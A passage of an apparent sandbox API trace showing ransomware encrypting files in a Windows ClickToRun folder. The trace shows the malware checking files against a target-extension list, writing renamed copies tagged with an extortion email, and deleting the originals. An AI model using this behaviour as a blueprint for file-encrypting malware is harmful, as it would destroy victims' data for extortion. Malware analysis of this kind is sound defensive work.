	[0088.000] WriteFile (in: hFile=0x388, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x514b0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x514b0, lpOverlapped=0x0) returned 1
	[0088.012] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.012] WriteFile (in: hFile=0x388, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xee, lpOverlapped=0x0) returned 1
	[0088.013] SetEndOfFile (hFile=0x388) returned 1
	[0088.013] CloseHandle (hObject=0x388) returned 1
	[0088.020] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.020] SetEndOfFile (hFile=0x378) returned 1
	[0088.024] CloseHandle (hObject=0x378) returned 1
	[0088.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0088.024] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 1
	[0088.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0088.024] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0088.024] lstrlenW (lpString=".doc") returned 4
	[0088.024] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.024] lstrlenW (lpString=".docx") returned 5
	[0088.025] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0088.025] lstrlenW (lpString=".pdf") returned 4
	[0088.025] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.025] lstrlenW (lpString=".xls") returned 4
	[0088.025] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.025] lstrlenW (lpString=".xlsx") returned 5
	[0088.025] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0088.025] lstrlenW (lpString=".ppt") returned 4
	[0088.025] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0088.025] lstrlenW (lpString=".zip") returned 4
	[0088.025] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.025] lstrlenW (lpString=".rar") returned 4
	[0088.025] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.025] lstrlenW (lpString=".bz2") returned 4
	[0088.025] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.025] lstrlenW (lpString=".7z") returned 3
	[0088.025] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0088.025] lstrlenW (lpString=".dbf") returned 4
	[0088.025] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0088.025] lstrlenW (lpString=".1cd") returned 4
	[0088.025] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0088.025] lstrlenW (lpString=".jpg") returned 4
	[0088.025] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0088.025] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0088.025] lstrlenW (lpString=".doc") returned 4
	[0088.025] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.025] lstrlenW (lpString=".docx") returned 5
	[0088.025] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0088.025] lstrlenW (lpString=".pdf") returned 4
	[0088.026] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.026] lstrlenW (lpString=".xls") returned 4
	[0088.026] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.026] lstrlenW (lpString=".xlsx") returned 5
	[0088.026] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0088.026] lstrlenW (lpString=".ppt") returned 4
	[0088.026] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0088.026] lstrlenW (lpString=".zip") returned 4
	[0088.026] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.026] lstrlenW (lpString=".rar") returned 4
	[0088.026] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.026] lstrlenW (lpString=".bz2") returned 4
	[0088.026] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.026] lstrlenW (lpString=".7z") returned 3
	[0088.026] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0088.026] lstrlenW (lpString=".dbf") returned 4
	[0088.026] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0088.026] lstrlenW (lpString=".1cd") returned 4
	[0088.026] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.026] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll") returned 71
	[0088.026] lstrlenW (lpString=".jpg") returned 4
	[0088.026] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.026] lstrcmpiW (lpString1=".hash", lpString2=".Z9") returned -1
	[0088.026] lstrlenW (lpString="i640.hash") returned 9
	[0088.026] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.027] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=102) returned 1
	[0088.027] CloseHandle (hObject=0x378) returned 1
	[0088.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 0x20
	[0088.027] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.027] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.027] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.027] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0088.028] GetLastError () returned 0x0
	[0088.028] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x66, lpOverlapped=0x0) returned 1
	[0088.329] WriteFile (in: hFile=0x388, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x70, lpOverlapped=0x0) returned 1
	[0088.330] ReadFile (in: hFile=0x378, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.331] WriteFile (in: hFile=0x388, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xe6, lpOverlapped=0x0) returned 1
	[0088.331] SetEndOfFile (hFile=0x388) returned 1
	[0088.331] CloseHandle (hObject=0x388) returned 1
	[0088.332] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.332] SetEndOfFile (hFile=0x378) returned 1
	[0088.333] CloseHandle (hObject=0x378) returned 1
	[0088.333] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0088.333] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\i640.hash")) returned 1
	[0088.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0088.334] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0088.337] lstrlenW (lpString=".doc") returned 4
	[0088.337] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1
	[0088.337] lstrlenW (lpString=".docx") returned 5
	[0088.337] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1
	[0088.338] lstrlenW (lpString=".pdf") returned 4
	[0088.338] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1
	[0088.338] lstrlenW (lpString=".xls") returned 4
	[0088.338] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1
	[0088.338] lstrlenW (lpString=".xlsx") returned 5
	[0088.338] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1
	[0088.338] lstrlenW (lpString=".ppt") returned 4
	[0088.338] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1
	[0088.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0088.338] lstrlenW (lpString=".zip") returned 4
	[0088.338] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1
	[0088.338] lstrlenW (lpString=".rar") returned 4
	[0088.338] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1
	[0088.338] lstrlenW (lpString=".bz2") returned 4
	[0088.338] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1
	[0088.338] lstrlenW (lpString=".7z") returned 3
	[0088.338] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1
	[0088.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0088.338] lstrlenW (lpString=".dbf") returned 4
	[0088.338] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1
	[0088.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0088.338] lstrlenW (lpString=".1cd") returned 4
	[0088.338] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1
	[0088.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0088.338] lstrlenW (lpString=".jpg") returned 4
	[0088.338] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1
	[0088.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0088.338] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0088.339] lstrlenW (lpString=".doc") returned 4
	[0088.339] lstrcmpiW (lpString1=".doc", lpString2="hash") returned -1
	[0088.339] lstrlenW (lpString=".docx") returned 5
	[0088.339] lstrcmpiW (lpString1=".docx", lpString2=".hash") returned -1
	[0088.339] lstrlenW (lpString=".pdf") returned 4
	[0088.339] lstrcmpiW (lpString1=".pdf", lpString2="hash") returned -1
	[0088.339] lstrlenW (lpString=".xls") returned 4
	[0088.339] lstrcmpiW (lpString1=".xls", lpString2="hash") returned -1
	[0088.339] lstrlenW (lpString=".xlsx") returned 5
	[0088.339] lstrcmpiW (lpString1=".xlsx", lpString2=".hash") returned 1
	[0088.339] lstrlenW (lpString=".ppt") returned 4
	[0088.339] lstrcmpiW (lpString1=".ppt", lpString2="hash") returned -1
	[0088.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0088.339] lstrlenW (lpString=".zip") returned 4
	[0088.339] lstrcmpiW (lpString1=".zip", lpString2="hash") returned -1
	[0088.339] lstrlenW (lpString=".rar") returned 4
	[0088.339] lstrcmpiW (lpString1=".rar", lpString2="hash") returned -1
	[0088.339] lstrlenW (lpString=".bz2") returned 4
	[0088.339] lstrcmpiW (lpString1=".bz2", lpString2="hash") returned -1
	[0088.339] lstrlenW (lpString=".7z") returned 3
	[0088.339] lstrcmpiW (lpString1=".7z", lpString2="ash") returned -1
	[0088.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0088.339] lstrlenW (lpString=".dbf") returned 4
	[0088.339] lstrcmpiW (lpString1=".dbf", lpString2="hash") returned -1
	[0088.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0088.339] lstrlenW (lpString=".1cd") returned 4
	[0088.339] lstrcmpiW (lpString1=".1cd", lpString2="hash") returned -1
	[0088.339] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\i640.hash") returned 67
	[0088.339] lstrlenW (lpString=".jpg") returned 4
	[0088.340] lstrcmpiW (lpString1=".jpg", lpString2="hash") returned -1
	[0088.340] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0088.340] lstrlenW (lpString="mso20win32client.dll") returned 20
	[0088.340] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0088.340] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=3144288) returned 1
	[0088.340] CloseHandle (hObject=0x378) returned 1
	[0088.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 0x20
	[0088.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.341] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0088.341] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0088.609] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[help.me24@protonmail.com].z9"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 1
	[0088.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0088.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0088.610] lstrlenW (lpString=".doc") returned 4
	[0088.610] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.610] lstrlenW (lpString=".docx") returned 5
	[0088.610] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0088.610] lstrlenW (lpString=".pdf") returned 4
	[0088.610] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.610] lstrlenW (lpString=".xls") returned 4
	[0088.610] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.610] lstrlenW (lpString=".xlsx") returned 5
	[0088.610] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0088.610] lstrlenW (lpString=".ppt") returned 4
	[0088.610] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0088.610] lstrlenW (lpString=".zip") returned 4
	[0088.610] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.610] lstrlenW (lpString=".rar") returned 4
	[0088.610] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.610] lstrlenW (lpString=".bz2") returned 4
	[0088.610] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.610] lstrlenW (lpString=".7z") returned 3
	[0088.610] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0088.610] lstrlenW (lpString=".dbf") returned 4
	[0088.610] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0088.611] lstrlenW (lpString=".1cd") returned 4
	[0088.611] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0088.611] lstrlenW (lpString=".jpg") returned 4
	[0088.611] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0088.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0088.611] lstrlenW (lpString=".doc") returned 4
	[0088.611] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.611] lstrlenW (lpString=".docx") returned 5
	[0088.611] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0088.611] lstrlenW (lpString=".pdf") returned 4
	[0088.611] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.611] lstrlenW (lpString=".xls") returned 4
	[0088.611] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.611] lstrlenW (lpString=".xlsx") returned 5
	[0088.611] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0088.611] lstrlenW (lpString=".ppt") returned 4
	[0088.611] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0088.611] lstrlenW (lpString=".zip") returned 4
	[0088.611] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.611] lstrlenW (lpString=".rar") returned 4
	[0088.611] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.611] lstrlenW (lpString=".bz2") returned 4
	[0088.611] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.611] lstrlenW (lpString=".7z") returned 3
	[0088.611] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0088.611] lstrlenW (lpString=".dbf") returned 4
	[0088.611] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.611] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0088.612] lstrlenW (lpString=".1cd") returned 4
	[0088.612] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll") returned 78
	[0088.612] lstrlenW (lpString=".jpg") returned 4
	[0088.612] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.612] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0088.612] lstrlenW (lpString="mso30win32client.dll") returned 20
	[0088.612] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0088.612] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=4677216) returned 1
	[0088.612] CloseHandle (hObject=0x398) returned 1
	[0088.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 0x20
	[0088.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.613] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0088.613] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0088.614] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[help.me24@protonmail.com].z9"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 1
	[0088.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0088.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0088.614] lstrlenW (lpString=".doc") returned 4
	[0088.614] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.614] lstrlenW (lpString=".docx") returned 5
	[0088.614] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0088.614] lstrlenW (lpString=".pdf") returned 4
	[0088.614] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.614] lstrlenW (lpString=".xls") returned 4
	[0088.614] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.614] lstrlenW (lpString=".xlsx") returned 5
	[0088.614] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0088.614] lstrlenW (lpString=".ppt") returned 4
	[0088.614] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0088.614] lstrlenW (lpString=".zip") returned 4
	[0088.614] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.614] lstrlenW (lpString=".rar") returned 4
	[0088.614] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.614] lstrlenW (lpString=".bz2") returned 4
	[0088.615] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.615] lstrlenW (lpString=".7z") returned 3
	[0088.615] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0088.615] lstrlenW (lpString=".dbf") returned 4
	[0088.615] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0088.615] lstrlenW (lpString=".1cd") returned 4
	[0088.615] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
	[0088.615] lstrlenW (lpString=".jpg") returned 4
	[0088.615] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.615] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll") returned 78
